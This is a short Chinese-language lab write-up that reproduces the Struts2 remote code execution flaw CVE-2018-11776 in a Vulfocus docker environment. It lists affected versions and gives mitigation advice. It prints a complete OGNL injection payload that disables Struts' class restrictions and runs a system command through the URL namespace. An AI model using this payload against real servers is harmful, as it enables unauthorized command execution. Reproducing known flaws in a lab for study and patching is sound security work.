CVE-2018-11776 Struts2远程代码执行漏洞复现

KUAI 

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。action元素没有设置名称空间属性，或者使用了通配符名称空间将由用户从uri传递并解析为OGNL表达式，最终导致远程代码执行漏洞。

2.3 —— 2.3.34 

2.5 —— 2.5.16

Vulfocus

启动环境：docker-compoese up -d

访问页面

测试是否存在漏洞，抓包，构造url，返回的数据包显示了计算后的数值。

之后把url对应的部分替换成构造好的ognl表达式。

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

但是要把这段表达式转为url格式才能执行，所以将数据包处右击选择decoder。

然后再发包，执行了id命令。

1、官方提供的临时解决方案：当上层动作配置中没有设置或使用通配符namespace时，验证所有XML配置中的namespace，同时在JSP中验证所有url标签的value和action。

2、建议升级版本。